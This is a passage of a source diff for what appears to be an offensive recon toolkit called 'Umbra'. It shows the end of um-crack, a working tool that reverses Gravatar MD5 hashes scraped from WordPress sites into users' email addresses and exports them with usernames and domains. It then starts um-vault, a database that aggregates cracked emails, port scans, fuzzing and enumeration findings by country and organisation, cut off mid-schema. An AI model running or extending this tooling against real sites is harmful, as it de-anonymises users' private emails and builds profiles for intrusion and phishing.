|
||||
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||
progress.update(task_id,
|
||||
stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||
|
||||
# Phase 2: Custom wordlist as full emails
|
||||
if self.custom_wordlist:
|
||||
for word in self.custom_wordlist:
|
||||
if "@" in word:
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(word, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup)
|
||||
|
||||
# Phase 3: Common standalone patterns
|
||||
common_names = [
|
||||
"admin", "info", "contact", "support", "test", "user",
|
||||
"demo", "guest", "root", "mail", "email", "office",
|
||||
"help", "sales", "service", "webmaster", "postmaster",
|
||||
"noreply", "no-reply", "newsletter", "feedback",
|
||||
]
|
||||
for name in common_names:
|
||||
for provider in MAJOR_PROVIDERS[:10]:
|
||||
email = f"{name}@{provider}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup)
|
||||
|
||||
elapsed = time.monotonic() - self.start_time
|
||||
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||
progress.update(task_id, completed=True,
|
||||
stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||
|
||||
def _record_crack(self, hash_val, email, method, hash_lookup):
|
||||
"""Record a cracked hash."""
|
||||
elapsed_ms = int((time.monotonic() - self.start_time) * 1000)
|
||||
self.conn.execute("""
|
||||
UPDATE hashes SET cracked_email = ?, crack_method = ?,
|
||||
crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP
|
||||
WHERE hash = ?
|
||||
""", (email, method, elapsed_ms, hash_val))
|
||||
self.conn.commit()
|
||||
|
||||
info = hash_lookup.pop(hash_val, {})
|
||||
self.cracked += 1
|
||||
self.uncracked -= 1
|
||||
self.newly_cracked.append({
|
||||
"hash": hash_val,
|
||||
"email": email,
|
||||
"method": method,
|
||||
"username": info.get("username", ""),
|
||||
"domain": info.get("domain", ""),
|
||||
})
|
||||
|
||||
self.console.print(
|
||||
f" [bold green]CRACKED[/] {email} "
|
||||
f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]"
|
||||
)
|
||||
|
||||
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||
console = Console()
|
||||
|
||||
MENU_ITEMS = [
|
||||
("1", "Load hashes (.db / .txt)"),
|
||||
("2", "Add custom wordlist"),
|
||||
("3", "Start cracking"),
|
||||
("4", "View cracked"),
|
||||
("5", "View uncracked"),
|
||||
("6", "Export CSV"),
|
||||
("7", "Statistics"),
|
||||
("8", "Verify email"),
|
||||
("9", "Hash an email"),
|
||||
("Q", "Quit"),
|
||||
]
|
||||
|
||||
CRACK_INFO = [
|
||||
f"{len(ALL_PROVIDERS)} email providers",
|
||||
"Pattern-based email recovery",
|
||||
"Cultural naming patterns",
|
||||
"Region-focused cracking",
|
||||
"Custom wordlist support",
|
||||
"Local computation only",
|
||||
]
|
||||
|
||||
def get_db_stats(conn):
|
||||
try:
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}"
|
||||
except Exception:
|
||||
return "DB: empty"
|
||||
|
||||
def show_results(conn, limit=50):
|
||||
rows = conn.execute("""
|
||||
SELECT hash, domain, username, display_name, cracked_email, crack_method
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
ORDER BY cracked_at DESC LIMIT ?
|
||||
""", (limit,)).fetchall()
|
||||
|
||||
table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||
table.add_column("Hash", style="cyan", width=18)
|
||||
table.add_column("Email", style="bold green", max_width=35)
|
||||
table.add_column("Username", style="white", max_width=15)
|
||||
table.add_column("Domain", style="dim", max_width=20)
|
||||
table.add_column("Method", style="yellow", width=16)
|
||||
|
||||
for r in rows:
|
||||
table.add_row(
|
||||
r["hash"][:16] + "...",
|
||||
r["cracked_email"],
|
||||
r["username"] or "-",
|
||||
r["domain"] or "-",
|
||||
r["crack_method"] or "-"
|
||||
)
|
||||
console.print(table)
|
||||
|
||||
def show_uncracked(conn, limit=30):
|
||||
rows = conn.execute("""
|
||||
SELECT hash, domain, username, display_name
|
||||
FROM hashes WHERE cracked_email = ''
|
||||
ORDER BY domain, username LIMIT ?
|
||||
""", (limit,)).fetchall()
|
||||
|
||||
table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]")
|
||||
table.add_column("Hash", style="cyan", width=34)
|
||||
table.add_column("Domain", style="white", max_width=25)
|
||||
table.add_column("Username", style="dim", max_width=20)
|
||||
table.add_column("Display Name", style="dim", max_width=20)
|
||||
|
||||
for r in rows:
|
||||
table.add_row(r["hash"], r["domain"] or "-",
|
||||
r["username"] or "-", r["display_name"] or "-")
|
||||
console.print(table)
|
||||
|
||||
def show_stats(conn):
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
uncracked = total - cracked
|
||||
unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0]
|
||||
|
||||
# Top cracked providers
|
||||
top_providers = conn.execute("""
|
||||
SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider,
|
||||
COUNT(*) as cnt
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
GROUP BY provider ORDER BY cnt DESC LIMIT 10
|
||||
""").fetchall()
|
||||
|
||||
# Top crack methods
|
||||
top_methods = conn.execute("""
|
||||
SELECT crack_method, COUNT(*) as cnt
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
GROUP BY crack_method ORDER BY cnt DESC
|
||||
""").fetchall()
|
||||
|
||||
table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
|
||||
table.add_column("Metric", style="bold")
|
||||
table.add_column("Value", justify="right", style="cyan")
|
||||
table.add_row("Total Hashes", str(total))
|
||||
table.add_row("Cracked", f"[bold green]{cracked}[/]")
|
||||
table.add_row("Uncracked", f"[yellow]{uncracked}[/]")
|
||||
table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%")
|
||||
table.add_row("Source Domains", str(unique_domains))
|
||||
table.add_row("Email Providers", str(len(ALL_PROVIDERS)))
|
||||
console.print(table)
|
||||
|
||||
if top_providers:
|
||||
prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]")
|
||||
prov_table.add_column("Provider", style="green")
|
||||
prov_table.add_column("Count", justify="right", style="cyan")
|
||||
for p in top_providers:
|
||||
prov_table.add_row(p["provider"], str(p["cnt"]))
|
||||
console.print(prov_table)
|
||||
|
||||
if top_methods:
|
||||
meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]")
|
||||
meth_table.add_column("Method", style="yellow")
|
||||
meth_table.add_column("Count", justify="right", style="cyan")
|
||||
for m in top_methods:
|
||||
meth_table.add_row(m["crack_method"], str(m["cnt"]))
|
||||
console.print(meth_table)
|
||||
|
||||
def export_csv_fn(conn, output="um-crack-export.csv"):
|
||||
cursor = conn.execute("""
|
||||
SELECT hash, domain, username, display_name, cracked_email,
|
||||
crack_method, crack_time_ms, cracked_at
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
ORDER BY domain, cracked_email
|
||||
""")
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]")
|
||||
|
||||
def export_all_csv(conn, output="um-crack-all.csv"):
|
||||
cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash")
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]")
|
||||
|
||||
def load_wordlist(path):
|
||||
"""Load a custom wordlist for cracking."""
|
||||
words = []
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
word = line.strip()
|
||||
if word and not word.startswith("#"):
|
||||
words.append(word.lower())
|
||||
return words
|
||||
|
||||
def merge_databases(db_paths, output="um-crack.db"):
|
||||
conn = init_db(output)
|
||||
for path in db_paths:
|
||||
if not os.path.exists(path):
|
||||
continue
|
||||
src = sqlite3.connect(path)
|
||||
src.row_factory = sqlite3.Row
|
||||
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||
try:
|
||||
conn.execute("""
|
||||
INSERT INTO hashes (hash, domain, username, display_name, user_id,
|
||||
cracked_email, crack_method, crack_time_ms, cracked_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END,
|
||||
cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END,
|
||||
crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END,
|
||||
cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||
r["user_id"], r["cracked_email"], r["crack_method"],
|
||||
r["crack_time_ms"], r["cracked_at"]))
|
||||
except Exception:
|
||||
pass
|
||||
src.close()
|
||||
console.print(f"[dim]Merged: {path}[/dim]")
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||
@click.group(invoke_without_command=True)
|
||||
@click.option("--db", default="um-crack.db", help="Database file path")
|
||||
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||
@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets")
|
||||
@click.pass_context
|
||||
def cli(ctx, db, engagement, scope_file):
|
||||
"""Umbra Hash Cracker — Pattern-based email recovery from Gravatar hashes."""
|
||||
ctx.ensure_object(dict)
|
||||
# Env var fallback
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "")
|
||||
scope = []
|
||||
if engagement:
|
||||
create_engagement(engagement)
|
||||
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||
if scope_file:
|
||||
scope = load_scope(scope_file)
|
||||
ctx.obj["db"] = db
|
||||
ctx.obj["engagement"] = engagement
|
||||
ctx.obj["scope"] = scope
|
||||
# Ops hook
|
||||
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||
ctx.obj["hook"] = hook
|
||||
if hook:
|
||||
hook.register()
|
||||
if ctx.invoked_subcommand is None:
|
||||
interactive_menu(ctx)
|
||||
|
||||
@cli.command("load")
|
||||
@click.argument("source")
|
||||
@click.pass_context
|
||||
def load_cmd(ctx, source):
|
||||
"""Load hashes from a um-hash.db or text file."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
if source.endswith(".db"):
|
||||
count = import_from_hash_db(conn, source)
|
||||
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||
else:
|
||||
count = import_hashes_from_file(conn, source)
|
||||
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)")
|
||||
@click.option("--wordlist", default=None, help="Custom wordlist file")
|
||||
@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try")
|
||||
@click.pass_context
|
||||
def crack(ctx, region, wordlist, providers_only):
|
||||
"""Start cracking loaded hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
custom_words = load_wordlist(wordlist) if wordlist else []
|
||||
providers = None
|
||||
if providers_only:
|
||||
providers = [p.strip() for p in providers_only.split(",")]
|
||||
|
||||
cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words)
|
||||
cracker.crack(region_focus=region)
|
||||
|
||||
console.print()
|
||||
if cracker.newly_cracked:
|
||||
console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]")
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def results(ctx):
|
||||
"""Show cracked hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_results(conn, limit=100)
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def uncracked(ctx):
|
||||
"""Show uncracked hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_uncracked(conn, limit=100)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.option("-o", "--output", default="um-crack-export.csv")
|
||||
@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)")
|
||||
@click.pass_context
|
||||
def export(ctx, output, export_all):
|
||||
"""Export results to CSV."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
if export_all:
|
||||
export_all_csv(conn, output)
|
||||
else:
|
||||
export_csv_fn(conn, output)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def stats(ctx):
|
||||
"""Show database statistics."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("directory")
|
||||
@click.option("-o", "--output", default="um-crack.db")
|
||||
@click.pass_context
|
||||
def merge(ctx, directory, output):
|
||||
"""Merge multiple .db files."""
|
||||
import glob
|
||||
db_paths = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_paths:
|
||||
console.print(f"[red]No .db files found in {directory}[/]")
|
||||
return
|
||||
conn = merge_databases(db_paths, output)
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("email")
|
||||
@click.pass_context
|
||||
def verify(ctx, email):
|
||||
"""Verify an email against loaded hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||
if row:
|
||||
console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}")
|
||||
console.print(f" Domain: {row['domain'] or '-'}")
|
||||
console.print(f" Username: {row['username'] or '-'}")
|
||||
console.print(f" Display Name: {row['display_name'] or '-'}")
|
||||
|
||||
# Update if not already cracked
|
||||
if not row["cracked_email"]:
|
||||
conn.execute("""
|
||||
UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify',
|
||||
cracked_at = CURRENT_TIMESTAMP
|
||||
WHERE hash = ?
|
||||
""", (email, h))
|
||||
conn.commit()
|
||||
console.print("[green]Recorded as cracked.[/]")
|
||||
else:
|
||||
console.print(f"[dim]No match. Hash {h} not in database.[/]")
|
||||
conn.close()
|
||||
|
||||
@cli.command("hash-email")
|
||||
@click.argument("email")
|
||||
def hash_email(email):
|
||||
"""Show the MD5 hash of an email address."""
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
console.print(f"[cyan]{email}[/] → [green]{h}[/]")
|
||||
|
||||
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||
def interactive_menu(ctx):
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
custom_wordlist = []
|
||||
|
||||
def action_handler(key, tui):
|
||||
nonlocal custom_wordlist
|
||||
|
||||
if key == "1":
|
||||
def on_source(source):
|
||||
if not os.path.exists(source):
|
||||
tui.log(f"[!] File not found: {source}")
|
||||
return
|
||||
if source.endswith(".db"):
|
||||
count = import_from_hash_db(conn, source)
|
||||
else:
|
||||
count = import_hashes_from_file(conn, source)
|
||||
tui.log(f"[+] Imported {count} hashes from {source}")
|
||||
tui.prompt("Path to .db or .txt file", on_source)
|
||||
|
||||
elif key == "2":
|
||||
def on_path(wl_path):
|
||||
nonlocal custom_wordlist
|
||||
if os.path.exists(wl_path):
|
||||
custom_wordlist = load_wordlist(wl_path)
|
||||
tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}")
|
||||
else:
|
||||
tui.log(f"[!] File not found: {wl_path}")
|
||||
tui.prompt("Wordlist file path", on_path)
|
||||
|
||||
elif key == "3":
|
||||
def on_region(region):
|
||||
if region == "all":
|
||||
region_val = None
|
||||
else:
|
||||
region_val = region
|
||||
tui.log("[*] Starting crack session...")
|
||||
cracker = Cracker(conn, custom_wordlist=custom_wordlist)
|
||||
original_record = cracker._record_crack
|
||||
|
||||
def patched_record(hash_val, email, method, hash_lookup):
|
||||
original_record(hash_val, email, method, hash_lookup)
|
||||
tui.log(f"[+] CRACKED: {email} ({method})")
|
||||
|
||||
cracker._record_crack = patched_record
|
||||
|
||||
def do_crack():
|
||||
cracker.crack(region_focus=region_val)
|
||||
if cracker.newly_cracked:
|
||||
tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks")
|
||||
else:
|
||||
tui.log("[-] Session complete: no new cracks")
|
||||
tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates")
|
||||
|
||||
tui.run_threaded(do_crack, status="Cracking...")
|
||||
tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all")
|
||||
|
||||
elif key == "4":
|
||||
rows = conn.execute(
|
||||
"SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50"
|
||||
).fetchall()
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||
t.add_column("Hash", style="dim", max_width=16)
|
||||
t.add_column("Domain", style="cyan")
|
||||
t.add_column("User", style="green")
|
||||
t.add_column("Email", style="bold green")
|
||||
t.add_column("Method", style="yellow")
|
||||
for r in rows:
|
||||
t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"])
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "5":
|
||||
rows = conn.execute(
|
||||
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50"
|
||||
).fetchall()
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]")
|
||||
t.add_column("Hash", style="dim", max_width=16)
|
||||
t.add_column("Domain", style="cyan")
|
||||
t.add_column("User", style="green")
|
||||
t.add_column("Display Name")
|
||||
for r in rows:
|
||||
t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"])
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "6":
|
||||
def on_file(output_file):
|
||||
export_csv_fn(conn, output_file)
|
||||
tui.log(f"[+] Exported to {output_file}")
|
||||
tui.prompt("Output file", on_file, default="um-crack-export.csv")
|
||||
|
||||
elif key == "7":
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
uncracked = total - cracked
|
||||
t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
|
||||
t.add_column("Metric", style="bold")
|
||||
t.add_column("Value", justify="right", style="cyan")
|
||||
t.add_row("Total Hashes", f"{total:,}")
|
||||
t.add_row("Cracked", f"[green]{cracked:,}[/]")
|
||||
t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]")
|
||||
if total > 0:
|
||||
t.add_row("Crack Rate", f"{cracked/total*100:.1f}%")
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "8":
|
||||
def on_email(email):
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||
if row:
|
||||
tui.log(f"[+] MATCH: {email} -> {h}")
|
||||
if not row["cracked_email"]:
|
||||
conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?",
|
||||
(email, h))
|
||||
conn.commit()
|
||||
tui.log(" Recorded as cracked.")
|
||||
else:
|
||||
tui.log(f"[-] No match for {email} (hash: {h})")
|
||||
tui.prompt("Email to verify", on_email)
|
||||
|
||||
elif key == "9":
|
||||
def on_email(email):
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
tui.log(f"[*] {email} -> {h}")
|
||||
tui.prompt("Email", on_email)
|
||||
|
||||
tui = UmbraTUI(
|
||||
tool_name=TOOL_NAME,
|
||||
version=VERSION,
|
||||
menu_items=MENU_ITEMS,
|
||||
info_items=CRACK_INFO,
|
||||
action_handler=action_handler,
|
||||
stats_fn=lambda: get_db_stats(conn),
|
||||
theme=THEME_COLOR,
|
||||
engagement=ctx.obj.get("engagement"),
|
||||
)
|
||||
tui.run()
|
||||
conn.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
Executable
+920
@@ -0,0 +1,920 @@
|
||||
#!/usr/bin/env python3
|
||||
"""um-vault.py — Umbra Master Database Aggregator
|
||||
10-table relational schema (countries→orgs→domains→hashes→cracked).
|
||||
Imports from um-hash + um-crack databases, statistics dashboard.
|
||||
"""
|
||||
|
||||
import csv
|
||||
import glob
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
import click
|
||||
from rich.console import Console
|
||||
from rich.table import Table
|
||||
from rich import box
|
||||
|
||||
# ─── Version ──────────────────────────────────────────────────────────────────
|
||||
VERSION = "1.0.0"
|
||||
TOOL_NAME = "um-vault"
|
||||
THEME_COLOR = "bright_white"
|
||||
BANNER = r"""
|
||||
_ _ __ __ ____ _____ __ __ _ _ _ _______
|
||||
| | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __|
|
||||
| | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | |
|
||||
| | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | |
|
||||
| |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| |
|
||||
\____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_|
|
||||
"""
|
||||
|
||||
# ─── Database Schema (10 tables) ─────────────────────────────────────────────
|
||||
def init_db(path="um-vault.db"):
|
||||
conn = sqlite3.connect(path, check_same_thread=False)
|
||||
conn.row_factory = sqlite3.Row
|
||||
conn.execute("PRAGMA journal_mode=WAL")
|
||||
conn.execute("PRAGMA busy_timeout=5000")
|
||||
conn.execute("PRAGMA foreign_keys=ON")
|
||||
|
||||
# 1. Countries
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS countries (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
code TEXT UNIQUE NOT NULL,
|
||||
name TEXT DEFAULT '',
|
||||
region TEXT DEFAULT '',
|
||||
total_orgs INTEGER DEFAULT 0,
|
||||
total_domains INTEGER DEFAULT 0
|
||||
)
|
||||
""")
|
||||
|
||||
# 2. Organizations
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS organizations (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT UNIQUE NOT NULL,
|
||||
country_code TEXT DEFAULT '',
|
||||
industry TEXT DEFAULT '',
|
||||
total_domains INTEGER DEFAULT 0,
|
||||
total_hashes INTEGER DEFAULT 0,
|
||||
total_cracked INTEGER DEFAULT 0,
|
||||
FOREIGN KEY (country_code) REFERENCES countries(code)
|
||||
)
|
||||
""")
|
||||
|
||||
# 3. Domains
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS domains (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
domain TEXT UNIQUE NOT NULL,
|
||||
org_id INTEGER DEFAULT 0,
|
||||
is_wordpress INTEGER DEFAULT 0,
|
||||
wp_version TEXT DEFAULT '',
|
||||
detection_methods TEXT DEFAULT '',
|
||||
total_hashes INTEGER DEFAULT 0,
|
||||
total_cracked INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
last_seen DATETIME,
|
||||
FOREIGN KEY (org_id) REFERENCES organizations(id)
|
||||
)
|
||||
""")
|
||||
|
||||
# 4. Hashes
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS hashes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hash TEXT UNIQUE NOT NULL,
|
||||
domain_id INTEGER DEFAULT 0,
|
||||
domain TEXT DEFAULT '',
|
||||
username TEXT DEFAULT '',
|
||||
display_name TEXT DEFAULT '',
|
||||
user_id INTEGER DEFAULT 0,
|
||||
avatar_url TEXT DEFAULT '',
|
||||
cracked_email TEXT DEFAULT '',
|
||||
crack_method TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
cracked_at DATETIME,
|
||||
FOREIGN KEY (domain_id) REFERENCES domains(id)
|
||||
)
|
||||
""")
|
||||
|
||||
# 5. Ports (from um-scan)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS ports (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
host TEXT NOT NULL,
|
||||
port INTEGER NOT NULL,
|
||||
state TEXT DEFAULT 'open',
|
||||
service TEXT DEFAULT '',
|
||||
banner TEXT DEFAULT '',
|
||||
response_ms INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(host, port)
|
||||
)
|
||||
""")
|
||||
|
||||
# 6. Intel findings (from um-intel)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS intel (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
target TEXT NOT NULL,
|
||||
source TEXT NOT NULL,
|
||||
finding_type TEXT NOT NULL,
|
||||
value TEXT NOT NULL,
|
||||
extra TEXT DEFAULT '{}',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(target, source, finding_type, value)
|
||||
)
|
||||
""")
|
||||
|
||||
# 7. API endpoints (from um-api)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS api_endpoints (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
target TEXT NOT NULL,
|
||||
url TEXT NOT NULL,
|
||||
path TEXT DEFAULT '',
|
||||
discovery_method TEXT NOT NULL,
|
||||
status_code INTEGER DEFAULT 0,
|
||||
description TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(target, url, discovery_method)
|
||||
)
|
||||
""")
|
||||
|
||||
# 8. Fuzz results (from um-fuzz)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS fuzz_results (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
base_url TEXT NOT NULL,
|
||||
path TEXT NOT NULL,
|
||||
status_code INTEGER NOT NULL,
|
||||
content_length INTEGER DEFAULT 0,
|
||||
content_type TEXT DEFAULT '',
|
||||
redirect_url TEXT DEFAULT '',
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
UNIQUE(base_url, path)
|
||||
)
|
||||
""")
|
||||
|
||||
# 9. EXIF data (from um-exif)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS exif_data (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
file_path TEXT UNIQUE NOT NULL,
|
||||
file_name TEXT DEFAULT '',
|
||||
camera_make TEXT DEFAULT '',
|
||||
camera_model TEXT DEFAULT '',
|
||||
datetime_original TEXT DEFAULT '',
|
||||
gps_coords TEXT DEFAULT '',
|
||||
artist TEXT DEFAULT '',
|
||||
copyright TEXT DEFAULT ''
|
||||
)
|
||||
""")
|
||||
|
||||
# 10. Enum findings (from um-enum)
|
||||
conn.execute("""
|
||||
CREATE TABLE IF NOT EXISTS enum_findings (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
domain TEXT NOT NULL,
|
||||
phase TEXT NOT NULL,
|
||||
command TEXT NOT NULL,
|
||||
value TEXT NOT NULL,
|
||||
url TEXT DEFAULT '',
|
||||
status_code INTEGER DEFAULT 0,
|
||||
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
